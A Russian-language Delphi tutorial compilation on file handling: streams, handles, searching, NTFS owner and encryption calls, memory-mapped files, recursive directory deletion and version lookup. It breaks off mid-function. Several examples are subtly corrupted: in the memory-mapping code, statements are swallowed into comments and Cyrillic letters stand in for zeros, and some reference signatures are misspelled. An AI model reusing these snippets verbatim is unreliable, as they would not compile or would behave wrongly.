Buf: array[1..2048] of Char;
begin
if OpenDialog1.Execute then { Display Open dialog box }
begin
AssignFile(FromF, OpenDialog1.FileName);
Reset(FromF, 1); { Record size = 1 }
if SaveDialog1.Execute then { Display Save dialog box}
begin
AssignFile(ToF, SaveDialog1.FileName); { Open output file }
Rewrite(ToF, 1); { Record size = 1 }
Canvas.TextOut(10, 10, 'Copying ' + IntToStr(FileSize(FromF))+ ' bytes...');
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
CloseFile(FromF);
CloseFile(ToF);
end;
end;
end;

Этот код копирует из одного файла в другой. Замечания по поводу этого метода работы с файлами - плюсы - очень высокая скорость, особенно если размер буффера увеличить до 64kb-512kb, что позволит считывать файл достаточно большими кусками, чтобы обеспечить отсутствие простоев винчестера, к тому же обеспечивается очень высокая гибкость в работе. Минусы - сложность разработки, необходимость вручную писать все детали механизма чтения/записи и интерпретации данных.

Пожалуй на этом можно было бы и завершить описание работы с файлами средствами Паскаля и файловых переменных, но заглянув в Help Дельфей я обнаружил еще несколько функций достойных упоминания.

Erase(f) - удаляет файл
FilePos(f) - возвращает текущую позицию чтения/записи в файл
Flush(f) - сбрасывает кэшированные файловые операции на диск
Rename(f, 'MyNewFileName.txt') - переименование файлов
Truncate(f) - файл обрезается до текущей позиции чтения/записи


Файловые потоки

Теперь разберем возможности работы потомка TStream - TFileStream - файловый поток. Этот класс был специально введен для работы с файлами. Для работы с файловым потоком Вам надо записать в Uses модули classes, Sysutils (classes - включает в себя собственно определение класса, Sysutils - некоторые константы необходимые для работы).

Вот пример записи/перезаписи файла:

Procedure WriteFileUsingStream(s, FileName:string);
begin
with TFileStream.create(FileName, fmCreate or fmOpenWrite) do
try
write(pointer(s)^,length(s));
finally
free;
end;
end;

Теперь небольшой разбор:

TFileStream.create - конструктор класса, его вызов требует указания имени файла и опций его открытия, следующие опции определены:

fmCreate = $FFFF;
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
fmShareCompat = $0000;
fmShareExclusive = $0010;
fmShareDenyWrite = $0020;
fmShareDenyRead = $0030;
fmShareDenyNone = $0040;

Теперь метод Write - этим методом в файл пишется любая информация из буфера любого типа, Вам надо указать только буффер и количество записываемых байтов. В данном случае используется переменная типа String в качестве буффера, но так как для длинных строк она представляет собой лишь указатель, то конструкция "pointer(s)^" заставляет обращаться именно к ее содержимому.

А вот этот код демонстрирует чтение файла с использованием файлового потока:

var p:PChar;
begin
GetMem(p, 255);
with TFileStream.create('c:\myText.txt', fmOpenReadWrite) do
try
Seek(10,soFromBeginning);
read(p^, 254);
finally
free;
end;
showmessage(p);
FreeMem(p);
end;

И пояснения к коду:
1) Никаких проверок длину файла и его наличие здесь не делается - это демонстрационный код, а не готовая процедура чтения.
2) Файл мы считываем в буффер типа PChar (с тем же успехом можно использовать массив или любой другой контейнер). Для тех кто не помнит - процедуры GetMem(p, 255) и FreeMem(p) - распределение памяти для строки и освобождение памяти.
3) Метод потока Seek позволяет установить текущую позицию считывания/записи файла. Первый параметер - номер байта, второй - это от чего считать этот байт (у нас считать от начала файла), возможны варианты:
soFromBeginning - от начала файла
soFromCurrent - от текущей позиции считывания
soFromEnd - от конца файла (в этом случае номер байта должен быть отрицательным или равным нулю)
4) Собственно считывание из потока осуществляется методом read, в котором указывается в качестве параметров буфер в который мы читаем и желаемое количество байт для чтения. Метод read является функцией, которая возвращает количество байт реально прочитанных из потока.

Заканчивая о файловых потоках хочу упомянуть о методе
CopyFrom который позволяет перекачивать информацию из одного потока в другой и о свойствах:

Size - размер файла
Position - текущая позиция чтения/записи потока

Работа с файловыми потоками весьма быстра, этот класс, являсь классом VCL, в то же время базируется на низкоуровневых функциях Windows, что обеспечивает очень высокую скорость работы и стабильность операций. К тому же многие компоненты и классы VCL поддерживаю прямое чтение и запись с файловыми потоками, что занчительно упрощает работу - например TStringList, TBlobField, TMemoField и другие.
Файловые потоки могут быть рекомендованы к использованию в большинстве случаев для чтения и записи файлов (за исключением специфических ситуаций, требующих каких-то других подходов), другими словами если вам надо просто записать или считать файл, используйте файловые потоки.


Работа через Handle

Еще один способ работы с файлами - это открытие Handle на файл и работу через него. Тут есть 2 варианта - можно использовать функции Дельфи или использовать WinAPI напрямую.

При использовании функций Дельфи можно применять следующие функции:

FileOpen(FileName, fmOpenWrite or fmShareDenyNone) - функция открывает файл и возвращает целое цисло - Handle на файл. Параметры функции - имя файла и тип доступа (все типы доступа я перечислил ранее). Если файл успешно открыт то Handle должен быть положительным цислом, отрицательное число - это код ошибки.

Во всех остальных функциях используется именно значение Handle, возвращаемое этой функцией.

FileClose(Handle: Integer) - закрывает файл

  FileRead(Handle: Integer; var Buffer; Count: Integer): Integer;
  FileWrite(Handle: Integer; const Buffer; Count: Integer): Integer;

Эти функции для чтения/записи файла, где Buffer любая переменная достаточного размера для чтения/записи куска информации (обычно типа PChar или массив), Count-количество байт, которое Вы желаете записать/прочитать. Функции возвращают количество байт которые реально были прочитанны или записаны.

Этот тип доступа к файлам применяется весьма редко. Дело в том что он практически дублирует соответствующие функции WinAPI и к тому же обычно работает несколько медленнее, чем например потоки. И все же использование функций FileOpen и FileClose не лишено привлекательности. Наряду с тем что эти функции намного легче в использовании соответствующих функций WinAPI (можете сравнить - FileOpen имеет 2 параметра, cooтветствующая функция WinAPI - CreateFile имеет 7 параметров, большая часть из которых реально требуется лишь в ограниченном числе случаев) этот путь доступа открывает возможность прямого использования всех функций WinAPI про работе с файлами, которые требуют Handle на открытый файл.


Файловые операции

Дельфи предоставляет довольно широкие возможности по файловым операциям без использования механизмов открытия/закрытия файлов.

Вот список наиболее употребимых функций, большинство из которых в фачкстве параметров нуждаются только в имени файла:

ChDir(NewCurrentPath: string); - изменяет текущий каталог (в среде Windows сие конечно не так актуально как в ДОС, но все же), прочитать же текущий каталог можно функцией GetCurrentDir, а текущий каталог для определенного драйва - GetDir.

CreateDir(const Dir: string): Boolean; - создает каталог. При этом предыдущий уровень должен присутствовать. Если вы хотите сразу создать всю вложенность каталогов используйте функцию ForceDirectories(Dir: string): Boolean; Обе функции возвращают True если каталог создан

DiskFree(Drive: Byte): Int64; - дает свободное место на диске. Параметер - номер диска 0 = текущий, 1 = A, 2 = B, и так далее

DiskSize(Drive: Byte): Int64; - размер винта. Обратите внимание на то что для результата этой и предыдущей функций абсолютно необходимо использовать переменную типа Int64, иначе макимум того что вы сможете прочитать правильно будет ограничен 2Gb

FileExists(const FileName: string) - применяется для проверки наличия файла

FileGetAttr(const FileName: string): Integer;
FileSetAttr(const FileName: string; Attr: Integer): Integer; - функции для работы с атрибутами файлов. Вот список возможных атрибутов:
faReadOnly $00000001 Read-only files
faHidden $00000002 Hidden files
faSysFile $00000004 System files
faVolumeID $00000008 Volume ID files
faDirectory $00000010 Directory files
faArchive $00000020 Archive files
faAnyFile $0000003F Any file
(Естественно не все атрибуты применимы во всех случаях)

RemoveDir(const Dir: string): Boolean; - удаляет папку(пустую)
DeleteFile(const FileName: string): Boolean; - удаляет файл
RenameFile(const OldName, NewName: string) - переименовывает файл


Информация о файле

Привожу пример функции которая собирает довольно большое количество информации о выбранном файле:

Type TFileInfo=record
Exists:boolean;//true если файл найден
Name:String; //имя файла с расширением
ShortName:String;//DOS 8.3 имя файла
NameNoExt:String;//имя файла без расширения
Extension:string;//расширение файла
AssociatedFile:string;//программа с которой ассоциирован файл
Path:string;// путь к файлу
ShortPath:string;// DOS 8.3 путь файла
Drive:string;// дисковод на котором находится файл
CreateDate:TDateTime; //время когда файл создан
Size:Int64;// размер файла (работает для файлов и больше 2Gb)
Attributes:record //нали?ие/отсутствие системных атрибутов
ReadOnly:boolean;
Hidden:boolean;
System:boolean;
Archive:boolean;
end;
ModifyDate:TDateTime; // время последнего изменения файла
LastAccessDate:TDateTime; // дата последнего открытия файла
end;

Function ReadFileInfo(FileName:string):TFileInfo;
var ts:TSearchRec;

Function FileTime2DateTime(FT:_FileTime):TDateTime;
var FileTime:_SystemTime;
begin
FileTimeToLocalFileTime(FT, FT);
FileTimeToSystemTime(FT,FileTime);
Result:=EncodeDate(FileTime.wYear, FileTime.wMonth, FileTime.wDay)+
EncodeTime(FileTime.wHour, FileTime.wMinute, FileTime.wSecond, FileTime.wMilliseconds);
end;

Function AssociatedFile(FileExt:string):string;
var key:string;
begin
With TRegistry.create do
try
RootKey:=HKEY_CLASSES_ROOT;
OpenKey(FileExt, false);
Key:=ReadString('');
CloseKey;
OpenKey(key+'\Shell\open\command', false);
result:=ReadString('');
Closekey;
finally
free;
end
end;

begin
Result.Name:=ExtractFileName(FileName);
Result.Extension:=ExtractFileExt(FileName);
Result.NameNoExt:=Copy(Result.Name,1,length(Result.Name)-length(Result.Extension));
Result.Path:=ExtractFilePath(FileName);
Result.Drive:=ExtractFileDrive(FileName);
Result.ShortPath:=ExtractShortPathName(ExtractFilePath(FileName));
if lowercase(Result.Extension)<>'.exe' then Result.AssociatedFile:=AssociatedFile(Result.Extension);
if FindFirst(FileName, faAnyFile, ts)=0 then
begin
Result.Exists:=true;
Result.CreateDate:=FileDateToDateTime(ts.Time);
Result.Size:=ts.FindData.nFileSizeHigh*4294967296+ts.FindData.nFileSizeLow;
Result.Attributes.ReadOnly:=(faReadOnly and ts.Attr)>0;
Result.Attributes.Hidden:=(faHidden and ts.Attr)>0;
Result.Attributes.System:=(faSysFile and ts.Attr)>0;
Result.Attributes.Archive:=(faArchive and ts.Attr)>0;
Result.ModifyDate:=FileTime2DateTime(ts.FindData.ftLastWriteTime);
Result.LastAccessDate:=FileTime2DateTime(ts.FindData.ftLastAccessTime);
Result.ShortName:=ts.FindData.cAlternateFileName;
Findclose(ts);
end
else
Result.Exists:=false;
end;

Скорее всего эта функция как есть вряд ли понадобится, так как наверняка бОльшее количество определяемых параметров избыточно, тем ни менее может кому пригодится как пример выяснения информации о файле.


Поиск файлов

Теперь поговорим о поиске файлов. Для этой цели могут использоваться процедуры FindFirst, FindNext, FindClose, при участии переменной типа TSearchRec которая хранит информацию о текущем статусе поиска и характеристики последнего найденного файла.

Пример иллюстрирующий поиск всех файлов и каталогов в определенном каталоге:

Var SearchRec:TSearchRec;
...
If FindFirst('c:\Windows\*.*', faAnyFile, SearchRec)=0 then
repeat
{Вот здесь мы можем делать с найденным файлом что угодно
SearchRec.name - имя файла
ExpandFileName(SearchRec.name) - имя файла с полным путем}
until FindNext(SearchRec) <> 0;
FindClose(SearchRec);

Примечания по приведенному коду:
1) Первыми в список могут попадать файлы с именами "." и ".." - это ДОСовские имена для переходов на "родительский уровень", иногда нужна обработка для их игнорирования.
2) FindFirst в качестве первого параметра принимает шаблон для поиска, так как он был принят для ДОС. Если шаблон не включает путь то файлы будут искаться в текущем каталоге.
3) FindFirst требует задания атрибута для файла - здесь мы искали все файлы, если надо какие-то определенные (например только скрытые, или только каталоги) то надо это указать, список всех атрибутов я уже приводил выше.
4) SearchRec переменная связывает во едино FindFirst и FindNext, но требует ресурсов для своей работы, поэтому желательно ее освободить после поиска процедурой FindClose(SearchRec) - на самом деле утечки памяти небольшие, но если программа работает в цикле и долгое время пожирание ресурсов будет значительным.
5)FindFirst/FindNext - работают не открывая файлы, поэтому они корректно находят даже Swap файлы Windows...

Поиск файлов по дереву каталогов с заходом в подкаталоги разобран здесь


Работа с NTFS

Cодержание раздела:

Как прочитать владельца файла?
Шифрование файлов при помощи NTFS функций
Как определить, является ли диск NTFS?


Как прочитать владельца файла?

// When you create a file or directory, you become the owner of it.
// With GetFileOwner you get the owner of a file.

function GetFileOwner(FileName: string;
  var Domain, Username: string): Boolean;
var
  SecDescr: PSecurityDescriptor;
  SizeNeeded, SizeNeeded2: DWORD;
  OwnerSID: PSID;
  OwnerDefault: BOOL;
  OwnerName, DomainName: PChar;
  OwnerType: SID_NAME_USE;
begin
  GetFileOwner := False;
  GetMem(SecDescr, 1024);
  GetMem(OwnerSID, SizeOf(PSID));
  GetMem(OwnerName, 1024);
  GetMem(DomainName, 1024);
  try
    if not GetFileSecurity(PChar(FileName),
      OWNER_SECURITY_INFORMATION,
      SecDescr, 1024, SizeNeeded) then
      Exit;
    if not GetSecurityDescriptorOwner(SecDescr,
      OwnerSID, OwnerDefault) then
      Exit;
    SizeNeeded  := 1024;
    SizeNeeded2 := 1024;
    if not LookupAccountSID(nil, OwnerSID, OwnerName,
      SizeNeeded, DomainName, SizeNeeded2, OwnerType) then
      Exit;
    Domain   := DomainName;
    Username := OwnerName;
  finally
    FreeMem(SecDescr);
    FreeMem(OwnerName);
    FreeMem(DomainName);
  end;
  GetFileOwner := True;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Domain, Username: string;
begin
  GetFileOwner('YourFile.xyz', domain, username);
  ShowMessage(username + '@' + domain);
end;

// Note: Only works unter NT.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Шифрование файлов при помощи NTFS функций

{....}

{
This tip works with Windows 2000 (NTFS 5) and later

These 2 functions are defined in windows.pas, but they're defined wrong. In this
case our own definition.
}

  function EncryptFile(lpFilename: PChar): BOOL; stdcall;
           external advapi32 name 'EncryptFileA';

  function DecryptFile(lpFilename: PChar; dwReserved: DWORD): BOOL; stdcall;
           external advapi32 name 'DecryptFileA';

{....}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if not EncryptFile('c:\temp') then
    ShowMessage('Cant encrypt directory.');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if not DecryptFile('c:\temp', 0) then
    ShowMessage('Cant decrypt directory.');
end;


Как определить, является ли диск NTFS?

uses
  ComObj;

function IsNTFS(AFileName: string): Boolean;
var
  fso, drv: OleVariant;
begin
  IsNTFS := False;
  fso := CreateOleObject('Scripting.FileSystemObject');
  drv := fso.GetDrive(fso.GetDriveName(AFileName));
  IsNTFS := drv.FileSystem = 'NTFS'
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if IsNTFS('X:\Temp\File.doc') then
    ShowMessage('File is on NTFS File System')
  else
    ShowMessage('File is not on NTFS File System')
end;

Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Справочник по функциям работы с файлами

function File0pen(const FileName: string; Mode: Word) : Integer; Открывает существующий FileName файл в режиме Mode Значение, возвращаемое в случае успеха, — дескриптор открытого файла. В противном случае — код ошибки DOS.

function FileCreate(const PileName: string): Integer; Создает файл с именем FileName. Возвращает то же, что и FileOpen.

function FileRead(Handle: Integer; var Buffer; Count: Longint): Longint; Считывает из файла с дескриптором Handle Count байт в буфер Buffer. Возвращает число реально прочитанных байт или -1 при ошибке.

function FileWrite(Handle: Integer; const Buffer); Записывает в файл с дескриптором Handle Count байт из буфера Buffer. Возвращает число реально записанных байт или -1 при ошибке.

function FileSeek(Handle: Integer; Offset: Longint; Origin: Integer): Longint; Позиционирует файл с дескриптором Handle в новое положение. При Origin = 1,2,3 положение смещается на Offset байт от начала файла, текущей позиции и конца файла соответственно. Возвращает новое положение или -1 при ошибке.

procedure FileClose(Handle:Integer) Закрывает файл с дескриптором Handle.

function FileAge(const FileName:String) Возвращает значения даты и времени создания файла или -1, если файл не существует.

function FileExists(const FileName:String):boolean; Возвращает True если файл FileName существует к найден.

function FindFirst(const Path: string; Attr: Integer; var SearchRec: TSearchRec): Integer; Ищет первый файл, удовлетворяющий маске поиска, заданной в Path и с атрибутами Attr. В случае успеха заполняет запись SearchRec (см. примеч. 3) и возвращает 0, иначе возвращает код ошибки DOS.

function FindNext(var SearchRec: TSearchRec): Integer; Продолжает процесс поиска файлов, удовлетворяющих маске поиска. Параметр SearchRec должен быть заполнен при помощи FindFirst. Возвращает 0, если очередной файл найден, или код ошибки DOS. Изменяет SearchRec.

procedure FindClose(var SearchRec: TSearchRec); Завершает процесс поиска файлов, удовлетворяющих маске поиска.

function FileQetDate(Handle: Integer) : Longint; Возвращает время создания файла с дескриптором Handle (в формате DOS) или -1, если дескриптор недействителен.

procedure FileSetDate(Handle: Integer;) Устанавливает время создания файла с дескриптором Handle (в формате DOS).

function FileGetAttr(const FileName: string): Integer; Возвращает атрибуты (см. примеч. 2) файла с именем FileName или код ошибки DOS, если файл не найден.

function FileSetAttrtconst FileName: string; Attr: Устанавливает атрибуты файла с именем FileName.

function DeleteFile(const FileName:String) Уничтожает файл с именем FileName и в случае успеха возвращает True.

function RenameFile(const OldName, NewName: string): Boolean; Переименовывает файл с именем OldName в NewName и возвращает True в случае успеха.

function ChangeFileExt(const FileName, Extension: string): string; Изменяет расширение в имени файла FileName на Extension и возвращает новое значение FileName. Имя файла не изменяется.

function ExtractFilePath(const FileName: string): string; Извлекает из строки с полным именем файла FileName часть, содержащую путь к нему.

function ExtractFileName(const FileName: string): string; Извлекает из строки с полным именем файла FileName часть, содержащую его имя и расширение.

function ExtractFileExt(const FileName: string): string; Извлекает из строки с полным именем файла FileName часть, содержащую его расширение.

function ExpandFileName(const FileName: string): string; Возвращает полное имя файла FileName, добавляя при необходимости путь к нему и переводя все символы в верхний регистр.

function FileSearch(const Name, DirList: string): strings- Производит поиск файла с именем Name в группе каталогов, заданных параметром DirList. Имена каталогов должны отделяться друг от друга точкой с запятой. Возвращает в случае успеха полное имя файла или пустую строку, если файл не найден.

function DiskFree(Drive: Byte): Longint; Возвращает количество в байтах свободного места на заданном диске. Значение параметра Drive: 0 — для текущего диска, 1 — для А, 2 — для В и т. д. Если параметр неверен, функция возвращает -1.

function DiskSize(Drive: Byte): Longint; Возвращает размер диска Drive в байтах. Параметр Drive означает то же, что и в DiskFree.

function FileDateToDateTime(FileDate: Longint): TDateTime; Преобразует дату и время в формате DOS в принятый в Delphi формат TDateTime.

function DateTimeToFileDate(DateTime: TDateTime): Longint; Преобразует дату и время из формата TDateTime в формат DOS.


Отображение файлов в память

Для работы с файлом динамической подкачки страниц виртуальной памяти в Windows 32 используется механизм отображения файлов в адресное пространство программы. Соответствующие функции API доступны любой программе и могут применяться к любому файлу (кстати, таким способом загружается в адресное пространство процесса исполняемый файл). В результате отображения программа может работать с файловыми данными как с данными, размещенными в динамической памяти. Такая возможность не только в большинстве случаев повышает скорость работы с данными, но и предоставляет программисту уникальные средства обработки сразу всех записей файла. Например, он может единственным оператором проверить входит ли заданный образец поиска в любую строку текстового файла. Отображение файла осуществляется в три приема.

Создание/открытие файла

Вначале файл создается обращением к функции
function FileCreate(FileName: String): Integer;
или открывается с помощью
function FileOpen(const FileName: String; Mode: LongWord): Integer;
В обеих функциях FileName - имя файла, возможно, с маршрутом доступа. Параметр Mode определяет режим доступа к файлу и может принимать одно из следующих значений: fmOpenRead - только чтение; fmOpenWrite - только Запись; fmOpenReadWrite - чтение и запись. с помощью операции or эти константы можно комбинировать с одной из следующих регулирующих совместный доступ к файлу нескольких Программ: fmShareExclusive - совместный доступ Запрещен; fmShareDenyWrite - Другим Программам запрещается запись; fmShareDenyRead - другим программам запрещается чтение; fmSchareDenyNone - совместный доступ неограничен. Обе функции возвращают дескриптор созданного (открытого) файла или 0, если операция оказалась неуспешной.

Создание объекта отображения

На втором этапе создается объект отображения в память. Для этого используется такая функция:
function CreateFileMapping(hFile: THandle; IpFileMapping-Attributes: PSecurityAttributes; flProtect, dwMaximumSize-High, dwMaximumSizeLow: DWord; IpName: PChar): THandle;
Здесь hFile - дескриптор файла; ipFileMappingAttributes - указа-тель на структуру, в которой определяется, может ли создаваемый объект порождать дочерние объекты (обычно не может - nil); flProtect -определяет тип защиты, применяемый к окну отображения файла (см.ниже); dwMaximumSizeHigh, dwMaximumSizeLow - соответственно Старшие и младшие 32 разряда размера файла; если вы будете отображать файлы длинной до 4 ГбаЙТ, поместите В dwMaximumSizeHigh 0, а В dwMaximumSizeLow - длину файла; если оба параметра равны 0, размер окна отображения равен размеру файла; ipName - имя объекта отображения или nil.
Параметр flProtect задает тип защиты, применяемый к окну просмотра файла, и может иметь одно из следующих значений: page_readonly - файл можно только читать (файл должен быть создан или открыт В режиме fmOpenRead); PAGE_READWRITE - файл можно читать и записывать в него новые данные (файл открывается в режиме fmOpenReadWrite); PAGE_WRITECOPY - файл открыт для записи и чтения, однако обновленные данные сохраняются в отдельной защищенной области памяти (отображенные файлы могут разделяться программами, в этом режиме каждая программа сохраняет изменения в отдельной области памяти или участке файла подкачки); файл открывается В режиме fmOpenReadWrite или fmOpenWrite; этот тип защиты нельзя использовать в Windows 95/98. С помощью операции or к параметру fiprotect можно присоединить такие атрибуты:
sec_commit - выделяет для отображения физическую память или участок файла подкачки; sec_image - информация об атрибутах отображения берется из образа файла; sec_nocashe - отображаемые данные не кэшируются и записываются непосредственно на диск;
sec_reserve - резервируются страницы раздела без выделения физической памяти. Функция возвращает дескриптор объекта отображения или 0, если обращение было неудачным.

Создание окна просмотра

Наконец, на третьем этапе создается окно просмотра, т. е. собственно отображение данных в адресное пространство программы:
function MapViewOfFile(hFileMappingObject: THandle; dwDesiresAccess: DWord; dwFileOffsetHigh, dwFileIffsetLow, dwNumberOfBytesToMap: DWord): Pointer;
Здесь hFileMappingObject -дескриптор объекта отображения; dwDesiresAccess - определяет способ доступа к данным и может иметь одно из следующих значений: file_map_write - разрешает чтение и запись, При ЭТОМ В функции CreateFileMapping должен использоваться атрибут page_readwrite; file_map_read - разрешает только чтение, в функции CreateFileMapping должен использоваться атрибут
PAGE_READONLY или PAGE_READWRITE; FILE_MAP_ALL_ACCESS - тоь же, что и file_map_write; file_map_copy - данные доступны для записи и чтения, однако обновленные данные сохраняются в отдельной защищенной области памяти; в функции CreateFileMapping должен использоваться атрибут page_writecopy; dwFileOffsetHigh, dwFileIffsetLow -определяют соответственно старшие и младшие разряды смещения от начала файла, начиная с которого осуществляется отображение;
dwNumberOfBytesToMap - определяет длину окна отображения (0 - длина равна длине файла). Функция возвращает указатель на первый байт отображенных данных или nil, если обращение к функции оказалось неуспешным.

Освобождение ресурсов отображения

После использования отображенных данных ресурсы окна отображения нужно освободить функцией function UnMapViewOfFile(IpBaseAddress: Pointer): BOOL; единственный параметр обращения к которой должен содержать адрес первого отображенного байта, т. е. адрес, возвращаемый функцией MapViewOfFile. Закрытие объекта отображения и самого файла осуществляется обращением к функции
function CloseHandle(hObject: THandle).

Пример использования

Программа создает дисковый файл, состоящий из 100000 случайных вещественных чисел (длину файла можно выбрать другой, если изменить значение редактора длина массива). Файл с именем test.dat создается путем отображения файла в память (кнопка память) и традиционным способом (кнопка Файл). В обоих случаях показывается время счета (процессор 400 МГц, память 64 Мбайт). Чем больше частота и память, тем больше будет разница во времени.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,   StdCtrls, ComCtrls, Spin;
type
  TFormI = class (TForm)
    btMem: TButton;
    btFile: TButton;
    se: TSpinEdit;
    Labell: TLabel;
    pb: TProgressBar;
    Label2: TLabel;
    IbMem: TLabel;
    IbFile: TLabel;
    procedure btMemClick(Sender: TObject);
    procedure btFileClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.btMemClick(Sender: TObject);
  // Создание файла методом его отображения
type PReal = ^Real;
var
  HFile, HMap: THandle;
  AdrBase, AdrReal: PReal;
  k: Integer;
  FSize: Cardinal;
  BegTime: TDateTime;
begin
  BegTime := Time; // Засекаем время пуска
  // Готовим ProgressBar:
  pb.Max := se.Value;
  pb.Position := 0;
  pb.Show;
  FSize := se.Value * SizeOf(Real); // Длина файла HFile :=   FileCreate('test.dat'); // Создаем файл
  if HFile = 0 then // Ошибка: возбуждаем исключение
    raise Exception.Create('Ошибка создания файла');
  try
    // Отображаем файл в память HMap := CreateFileMapping(
    HFile, NIL, PAGE_READWRITE, 0, FSize, NIL);
    if HMap = 0 then // Ошибка: возбуждаем исключение
      raise Exception.Create('Ошибка отображения файла');
    try
      // Создаем окно просмотра:
      AdrBase := MapViewOfFile(
      HMap, FILE_MAP_WRITE, О, О, FSize) ;
      if AdrBase = NIL then // Ошибка: возбуждаем исключение
        raise Exception.Create('Невозможно просмотреть файл');
      // Сохраняем начальный адрес для правильной ликвидации
      // окна просмотра:
      AdrReal := AdrBase;
      for k := 1 to se.Value do
        begin
          AdrReal^ := Random; // Помещаем в файл новое число
          // Перед наращиванием текущего адреса необходимо
          // привести его к типу Integer или Cardinal:
          AdrReal := Pointer(Integer(AdrReal) + SizeOf(Real));
          IbMem.Caption := IntToStr(k);
          pb.Position := k;
          Application.ProcessMessages;
        end;
       // Освобождаем окно просмотра:
       UnmapViewOfFile(AdrBase) finally
       // Освобождаем отображение CloseHandle(HMap)
      end
    finally
     // Закрываем файл CloseHandle(HFile)
    end;
  // Сообщаем время счета pb.Hide;
  IbMem.Caption := TimeToStr(Time-BegTime)
end;

procedure TFormI.btFileClick(Sender: TObject) ;
  // Создание файла обычным методом var
  F: File of Real;
  k: Integer;
  BegTime: TDateTime;
  R: Real; // Буферная переменная для обращение к Write
begin
  BegTime := Time; // Засекаем начальное время счета // Готовим ProgressBar:
  pb.Max := se.Value;
  pb.Position := 0;
  pb.Show;
  // Создаем файл:
  AssignFile(F, 'test.dat');
  Rewrite(F);
  for k := 1 to se.Value do
  begin
    R := Random; // Параметрами обращения к Write
    Write(F, R); // могут быть только переменные
    IbFile.Caption := IntToStr(k);
    pb.Position := k;
    Application.ProcessMessages;
  end;
  CloseFile(F) ;
  pb.Hide;
  IbFile.Caption :=TimeToStr(Time-BegTime)
end;
end.


Список режимов открытия файлов

fmOpenRead Открыть только для чтения.
fmOpenWrite Открыть только для записи.
fmOpenReadWrite Открыть для чтения и записи.
fmShareCompat Обеспечить совместимость со старой моделью доступа к файлам.
fmShareExclusive Запретить другим доступ к файлу.
fmShareDenyWrite Запретить другим запись в файл.
fmShareDenyRead Запретить другим чтение файла.
fmShareDenyNone Разрешить другим все виды доступа.


Проход дерева каталогов

Procedure ScanDir(Dir:string);
var SearchRec:TSearchRec;
begin
if Dir<>'' then if Dir[length(Dir)]<>'\' then Dir:=Dir+'\';
if FindFirst(Dir+'*.*', faAnyFile, SearchRec)=0 then
repeat
if (SearchRec.name='.') or (SearchRec.name='..') then continue;
if (SearchRec.Attr and faDirectory)<>0 then
ScanDir(Dir+SearchRec.name) //we found Directory: "Dir+SearchRec.name"
else
Showmessage(Dir+SearchRec.name); //we found File: "Dir+SearchRec.name"
until FindNext(SearchRec)<>0;
FindClose(SearchRec);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ScanDir('c:');
end;
Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Ненамного сложнее, но возможностей поболе будет.

procedure ScanDir (Path:string;SearchMask:TStrings;ScanSub:boolean);
var
SearchRec:TSearchrec;
a,i:integer;
begin
if ScanSub then
begin
FindFirst(path+'\*.*',faDirectory,SearchRec);{. found}
FindNext(SearchRec); {.. found}
a:=FindNext(SearchRec);
while a=0 do
begin
if (SearchRec.Attr and faDirectory)>0 then

ScanDir(Path+'\'+SearchRec.Name,SearchMask,ScanSub);
a:=FindNext(SearchRec);
end;{while}
FindClose(SearchRec);
end;{if}

for i:=0 to SearchMask.Count-1 do
begin
a:=FindFirst(Path+'\'+SearchMask[i],faAnyFile,SearchRec);
while a=0 do
begin
{operation on file}
a:=FindNext(SearchRec);
end;{while}
FindClose(SearchRec);
end;{for}

end; {ScanDir}

Автор December
Взято с Vingrad.ru http://forum.vingrad.ru


Удаление каталога с подкаталогами

Способ 1: проход по дереву каталогов (Функция для удаления каталогов, взята из рассылки "Мастера DELPHI. Новости мира компонент, FAQ, статьи..." - собственно код аналогичен написанному мной коду по рекурсивному проходу каталогов здесь)

Function MyRemoveDir(sDir : String) : Boolean;
var
iIndex : Integer;
SearchRec : TSearchRec;
sFileName : String;
begin
Result := False;
sDir := sDir + '\*.*';
iIndex := FindFirst(sDir, faAnyFile, SearchRec);
while iIndex = 0 do
begin
sFileName := ExtractFileDir(sDir)+'\'+SearchRec.Name;
if SearchRec.Attr = faDirectory then
begin
if (SearchRec.Name <> '' ) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then MyRemoveDir(sFileName);
end
else
begin
if SearchRec.Attr <> faArchive then FileSetAttr(sFileName, faArchive);
if NOT DeleteFile(sFileName) then ShowMessage('Could NOT delete ' + sFileName);
end;
iIndex := FindNext(SearchRec);
end;
FindClose(SearchRec);
RemoveDir(ExtractFileDir(sDir));
Result := True;
end;

Способ 2: Использование ShellApi

uses ShellApi;
...
var sh : SHFILEOPSTRUCT;
begin
...
sh.Wnd := Application.Handle;
sh.wFunc := FO_DELETE;
sh.pFrom := 'c:\\test\0';
sh.pTo := nil;
sh.fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
sh.hNameMappings := nil;
sh.lpszProgressTitle := nil;

SHFileOperation (sh);
...

Надо путь писать : c:\\test\dfg
Чтобы вначале "\\" было...иначе не будет удалять диры из корня

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать версию программы?

function FileVersion(AFileName:string): string;
var
  szName: array[0..255] of Char;
  P: Pointer;
  Value: Pointer;
  Len: UINT;
  GetTranslationString:string;
  FFileName: PChar;
  FValid:boolean;
  FSize: DWORD;
  FHandle: DWORD;
  FBuffer: PChar;
begin
  try
    FFileName := StrPCopy(StrAlloc(Length(AFileName) + 1), AFileName);
    FValid := False;
    FSize := GetFileVersionInfoSize(FFileName, FHandle);
    if FSize > 0 then
      try
        GetMem(FBuffer, FSize);
        FValid := GetFileVersionInfo(FFileName, FHandle, FSize, FBuffer);
      except
        FValid := False;
        raise;
      end;
    Result := '';
    if FValid then
      VerQueryValue(FBuffer, '\VarFileInfo\Translation', p, Len)
    else p := nil;
    if P <> nil then
